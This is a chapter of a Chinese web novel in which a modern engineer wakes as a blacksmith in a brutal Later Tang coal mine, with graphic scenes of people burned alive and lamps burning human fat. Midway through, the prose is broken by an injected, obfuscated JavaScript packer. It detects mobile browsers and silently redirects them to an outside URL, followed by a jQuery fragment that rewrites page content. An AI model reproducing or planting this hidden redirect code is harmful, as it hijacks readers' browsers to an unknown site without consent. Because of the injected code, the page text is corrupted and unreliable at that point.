李默醒来的时候，嘴里全是土。
不是普通的土——是混着铁锈、煤渣和陈年血渍的土，涩得像嚼钉子。他趴在地上，后脑勺疼得像是被人用锤子敲过，耳朵里嗡嗡响，隐约听见有人在哭。
不对。不是哭，是嚎。
那种只有死到临头的人才嚎得出来的声音。
李默撑起身子，看见了这辈子都忘不掉的一幕：
二十步外，一口直径丈余的大铁锅架在火上。锅里的油咕嘟咕嘟冒着泡，油面上漂着两只人手。锅底下烧的不是柴——是人。
三个活人，用铁链锁着脖子，被推进火里。火舌舔上去的时候，他们还在动。
“愣着干什么！搬！”
一根鞭子抽在李默背上。他本能地往前一踉跄，这才看清周围：
这是个矿坑口。几百个衣衫褴褛的人排着队，往坑里走。有人背着煤筐出来，有人抬着死人出来。死人比煤多。
坑口竖着一根旗杆，旗杆上挂着一盏灯。
灯油是浑的，发着青白色的光。
旁边一个老头见他盯着灯看，压低声音说：“别看了。那是人油灯。死囚的油，点起来亮，还不熏眼。节度使大人说了，咱们这矿，昼夜不停。”
李默没有说话。
他只是站在那里，看着那盏灯。
三天前，他还在二十一世纪的实验室里调试蒸汽机。那时候他盯着仪表盘上的数据，心里想的是“这次效率能提升5%”。
5%。
他现在知道那5%是什么了。
是人油。
是人手。
是刚才推进火里的那三个人，还在动的样子。
李默低头看了看自己的手——一双布满老茧、指节粗大的手。这不是他的手。他又摸了摸身上：粗麻短褐，腰间别着一把铁锤。锤柄上刻着三个字：**将作监**。
记忆像洪水一样涌进来。
后唐。长兴四年。河东节度使石敬瑭的煤矿。战俘、流民、欠债的农民，全在这里挖煤。挖出来的煤送去冶铁，冶出来的铁打成刀枪，刀枪再砍死更多的战俘、流民、欠债的农民。
而他，李默，现在是这个矿里的一名铁匠。
“新来的？”
一个满脸煤灰的少年凑过来，眼睛亮得吓人。他看起来不到十五，手里攥着一截铁丝，铁丝头上弯了个钩。
“我叫阿钝。”少年说，“你也是被抓来的？我看你腰里别着锤子，是铁匠？巧了，我也是。咱们认识认识，万一哪天一块儿死了，也算有个伴。”
他的眼睛太亮了。李默忍不住多看了一眼——在这种地方，眼睛这么亮的人，要么是傻子，要么是还没死透。
“你盯着我眼睛看什么？”阿钝笑了，露出一口白牙，“吓的？没事，我刚来的时候也怕。后来想通了——怕也得死，不怕也得死，那还不如不怕。”
李默想说什么，坑道里突然传出一声闷响。
紧接着是惨叫。
阿钝脸色一变：“塌了。”
人群开始往坑道口涌。有人往里冲，想救人；有人往外跑，想逃命。监工的鞭子劈头盖脸抽下来，根本拦不住。
李默站在原地没动。
他的脑子里在算：土法煤矿，木支护，瓦斯没有检测，塌方之后必有的连锁反应——
“别进去！”他一把拽住要往坑道里冲的阿钝，“瓦斯！会炸！”
阿钝愣住了，不知道“瓦斯”是什么。
但下一秒，他就知道了。
坑道口喷出一团火球，把刚冲进去的十几个人全吞了。
火光照亮了矿场的每一张脸。有人的脸被烧得皮开肉绽，有人的脸吓得扭曲变形，还有人的脸——
是笑的。
旗杆旁边，站着一个穿绸袍的胖子。他看着坑道口喷出的火焰，嘴角往上勾了勾。
“死多少？”他问。
监工哈着腰跑过去：“回三爷，眼下还不知……”
“估一个。”
“这……怕是得有四五十……”
“少了。”胖子眯着眼，“烧起来的，后面还得塌。算一百吧。”
监工不敢接话。
胖子继续说：“死一百个，今天就能省一百份口粮。死够二百，腊月就不用发工钱了。划算。”
他转身要走，又停下来，回头看了一眼那盏人油灯。
“油快干了。”他说，“今晚再宰两个。别用死囚了，死囚得留着换煤。用病秧子。病秧子也干不动了，省得浪费粮食。”
李默站在那里，听着这些话。
他想起自己三天前在实验室里，为那5%的效率兴奋了一整夜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401589|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那时候他不知道，在这个世道，效率的单位不是百分比。
是人命。
他突然笑了。
笑得阿钝直发毛：“你……你笑啥？”
李默没回答。
他只是想笑。
笑自己天真。笑自己以为技术是拿来“用”的。笑自己读了二十年书，读到博士，到头来要在这个吃人的地方，重新学一遍——
技术是什么。
刀是什么。
人和油，是什么关系。
“你别笑啊……”阿钝往后退了一步，“你笑得我瘆得慌……”
李默终于不笑了。
他抬起头，看着那盏人油灯，一字一句地说：
“我笑我他妈以前太天真了。”
“天真？”阿钝不懂。
“我以为技术就是效率。”李默说，“现在才知道，技术是刀。”
他攥紧了腰间的铁锤。
“刀可以杀人，也可以——”
话没说完，矿场外面突然响起一阵马蹄声。
有人喊：“节度使令——所有工匠，即刻随军北上！高平要打仗了！”
人群炸了锅。阿钝一把抓住李默：“快跑！工匠上战场就是填壕沟的！有去无回！”
李默被他拽着跑了几步，突然停下来。
他回头看了一眼那口还在燃烧的大锅。看了一眼挂在旗杆上的人油灯。看了一眼坑道口还在冒烟的死人。
然后他转过身，朝着传令官的方向走去。
阿钝急了：“你疯了！”
李默没回头。
“我没疯。”他说，“我只是想明白了一件事——”
“在这个世道，要么被人当油烧，要么学会怎么烧别人。”
传令官的刀已经架到他脖子上。
李默从腰间摸出那柄刻着“将作监”的铁锤，举起来。
“告诉你们节度使，”他说，“我能让他的刀，比别人的长三丈。”
传令官愣了一下。
刀还架在脖子上，但眼神变了。
李默站在那里，一动不动。脖子上的刀锋压出一道血痕，血顺着脖子流进衣领，他没擦。
他只是看着那盏人油灯。
灯火摇晃了一下。
像是有人在里面，动了动。
---